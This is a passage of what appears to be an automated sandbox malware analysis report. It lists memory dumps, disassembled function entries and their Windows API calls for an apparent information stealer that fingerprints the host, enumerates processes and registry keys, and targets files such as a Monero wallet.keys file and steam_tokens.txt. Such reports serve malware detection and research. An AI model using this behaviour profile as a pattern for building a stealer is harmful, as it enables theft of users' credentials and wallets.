Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: c0692f4d30ab0a2e7cd0fa0fd50063215b020867d324417538837fdacc881693
Instruction ID: 44f1f6f8af83bdc9f1968029269f749198f58418c15ef1cfd67a2ed845bccff5
Opcode Fuzzy Hash: c0692f4d30ab0a2e7cd0fa0fd50063215b020867d324417538837fdacc881693
Instruction Fuzzy Hash: 95514BB0D44218ABDB24EBA0DC85BEEB3B4EB54304F2041E8E61576181EF746F89DF59

Function 00B49470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B49484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B494A5
CloseHandle.KERNEL32(00000000), ref: 00B494AF

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: da43a38b0e60e5be5fd61429487609b98d671e8a263ebac5635c04c68ebe2a64
Instruction ID: 14ab8c8edfb41ccc5cc303eb99efd2904bd852e67dd660a8d0bb52e2377cd5c6
Opcode Fuzzy Hash: da43a38b0e60e5be5fd61429487609b98d671e8a263ebac5635c04c68ebe2a64
Instruction Fuzzy Hash: 6AF03A7490020CEBDB14DFA4DC4AFEE77B8EB48301F004498BA0997290E6B06EC5DB91

Function 00B31110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B3112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00B31132
ExitProcess.KERNEL32 ref: 00B31143

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3a22308f77392224e002ef763aab83b67efccd7060277b5a674eb3df2fd0fb45
Instruction ID: 836acf8085d32155d44021f98876e25a1d4aebcaeece4e5a86789f0999a533e0
Opcode Fuzzy Hash: 3a22308f77392224e002ef763aab83b67efccd7060277b5a674eb3df2fd0fb45
Instruction Fuzzy Hash: 67E0E670985308FBE7146BA89D0AB4D76BCEB44B02F204594F70DB62D0D6B5264196AA

Function 00B41A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B47500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00B47542
Part of subcall function 00B47500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B4757F
Part of subcall function 00B47500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47603
Part of subcall function 00B47500: RtlAllocateHeap.NTDLL(00000000), ref: 00B4760A

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B47690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B476A4
Part of subcall function 00B47690: RtlAllocateHeap.NTDLL(00000000), ref: 00B476AB

Part of subcall function 00B477C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00B4DBC0,000000FF,?,00B41C99,00000000,?,014ED258,00000000,?), ref: 00B477F2
Part of subcall function 00B477C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00B4DBC0,000000FF,?,00B41C99,00000000,?,014ED258,00000000,?), ref: 00B477F9

Part of subcall function 00B47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B311B7), ref: 00B47880
Part of subcall function 00B47850: RtlAllocateHeap.NTDLL(00000000), ref: 00B47887
Part of subcall function 00B47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B4789F

Part of subcall function 00B478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47910
Part of subcall function 00B478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B47917
Part of subcall function 00B478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B4792F

Part of subcall function 00B47980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B50E00,00000000,?), ref: 00B479B0
Part of subcall function 00B47980: RtlAllocateHeap.NTDLL(00000000), ref: 00B479B7
Part of subcall function 00B47980: GetLocalTime.KERNEL32(?,?,?,?,?,00B50E00,00000000,?), ref: 00B479C4
Part of subcall function 00B47980: wsprintfA.USER32 ref: 00B479F3

Part of subcall function 00B47A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,014ED9E8,00000000,?,00B50E10,00000000,?,00000000,00000000), ref: 00B47A63
Part of subcall function 00B47A30: RtlAllocateHeap.NTDLL(00000000), ref: 00B47A6A
Part of subcall function 00B47A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,014ED9E8,00000000,?,00B50E10,00000000,?,00000000,00000000,?), ref: 00B47A7D

Part of subcall function 00B47B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,014ED9E8,00000000,?,00B50E10,00000000,?,00000000,00000000), ref: 00B47B35

Part of subcall function 00B47B90: GetKeyboardLayoutList.USER32(00000000,00000000,00B505AF), ref: 00B47BE1
Part of subcall function 00B47B90: LocalAlloc.KERNEL32(00000040,?), ref: 00B47BF9
Part of subcall function 00B47B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00B47C0D
Part of subcall function 00B47B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B47C62
Part of subcall function 00B47B90: LocalFree.KERNEL32(00000000), ref: 00B47D22

Part of subcall function 00B47D80: GetSystemPowerStatus.KERNEL32(?), ref: 00B47DAD

GetCurrentProcessId.KERNEL32(00000000,?,014ED3D8,00000000,?,00B50E24,00000000,?,00000000,00000000,?,014ED898,00000000,?,00B50E20,00000000), ref: 00B4207E

Part of subcall function 00B49470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B49484
Part of subcall function 00B49470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00B494A5
Part of subcall function 00B49470: CloseHandle.KERNEL32(00000000), ref: 00B494AF

Part of subcall function 00B47E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47E37
Part of subcall function 00B47E00: RtlAllocateHeap.NTDLL(00000000), ref: 00B47E3E
Part of subcall function 00B47E00: RegOpenKeyExA.KERNEL32(80000002,014DB968,00000000,00020119,?), ref: 00B47E5E
Part of subcall function 00B47E00: RegQueryValueExA.KERNEL32(?,014ED358,00000000,00000000,000000FF,000000FF), ref: 00B47E7F
Part of subcall function 00B47E00: RegCloseKey.ADVAPI32(?), ref: 00B47E92

Part of subcall function 00B47F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00B47FC9
Part of subcall function 00B47F60: GetLastError.KERNEL32 ref: 00B47FD8

Part of subcall function 00B47ED0: GetSystemInfo.KERNEL32(00B50E2C), ref: 00B47F00
Part of subcall function 00B47ED0: wsprintfA.USER32 ref: 00B47F16

Part of subcall function 00B48100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014ED958,00000000,?,00B50E2C,00000000,?,00000000), ref: 00B48130
Part of subcall function 00B48100: RtlAllocateHeap.NTDLL(00000000), ref: 00B48137
Part of subcall function 00B48100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00B48158
Part of subcall function 00B48100: wsprintfA.USER32 ref: 00B481AC

Part of subcall function 00B487C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B50E28,00000000,?), ref: 00B4882F
Part of subcall function 00B487C0: RtlAllocateHeap.NTDLL(00000000), ref: 00B48836
Part of subcall function 00B487C0: wsprintfA.USER32 ref: 00B48850

Part of subcall function 00B48320: RegOpenKeyExA.KERNEL32(00000000,014EAC60,00000000,00020019,00000000,00B505B6), ref: 00B483A4

Part of subcall function 00B48320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B48426
Part of subcall function 00B48320: wsprintfA.USER32 ref: 00B48459
Part of subcall function 00B48320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B4847B
Part of subcall function 00B48320: RegCloseKey.ADVAPI32(00000000), ref: 00B4848C
Part of subcall function 00B48320: RegCloseKey.ADVAPI32(00000000), ref: 00B48499

Part of subcall function 00B48680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B505B7), ref: 00B486CA
Part of subcall function 00B48680: Process32First.KERNEL32(?,00000128), ref: 00B486DE
Part of subcall function 00B48680: Process32Next.KERNEL32(?,00000128), ref: 00B486F3
Part of subcall function 00B48680: CloseHandle.KERNEL32(?), ref: 00B48761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 00B4265B

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUserlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 60318822-0
Opcode ID: 4a6e33495a9cd5ae3c7d52aa23f397e86d002f7cccc269974e12da952795bd4b
Instruction ID: 4df2f7756d172ff45938bc7788343944ae0374770d5ca2b166facfd17897336a
Opcode Fuzzy Hash: 4a6e33495a9cd5ae3c7d52aa23f397e86d002f7cccc269974e12da952795bd4b
Instruction Fuzzy Hash: 57727F72C54118AAEB19FB90DC92EEE73BCEF54300F5142E9B51672091EF302B49DB66

Function 00B36D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33cde1ed8547fecdc6394e3a69840113aa9c4e351a2ed092c885b04fd564d349
Instruction ID: c13a72a0579cdd099adef8bb75b01c97072fdc007e23983b4ffba4c3e8d780e5
Opcode Fuzzy Hash: 33cde1ed8547fecdc6394e3a69840113aa9c4e351a2ed092c885b04fd564d349
Instruction Fuzzy Hash: 4E61F4B4900218EFCB14DF94E984BEEB7F0FB48304F208599E519A7280D775AE94DF91

Function 00B45100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A820: lstrlen.KERNEL32(00B34F05,?,?,00B34F05,00B50DDE), ref: 00B4A82B
Part of subcall function 00B4A820: lstrcpy.KERNEL32(00B50DDE,00000000), ref: 00B4A885

lstrlen.KERNEL32(00000000,00000000,00B50ACA), ref: 00B4512A

Strings

steam_tokens.txt, xrefs: 00B4513F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: cef49dfa9687702d99cbebe5d847843626562549ecacde5aece7473cd57fba81
Instruction ID: 68816e14e9a4180d0f3acba37b93b023f1226b416754993d67abf9d8579218b0
Opcode Fuzzy Hash: cef49dfa9687702d99cbebe5d847843626562549ecacde5aece7473cd57fba81
Instruction Fuzzy Hash: C1F01D7295010866EB14FBB4EC57AED73BCEB54300F4045D8B81662092EF246B09E6A3

Function 00B47ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00B50E2C), ref: 00B47F00
wsprintfA.USER32 ref: 00B47F16

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
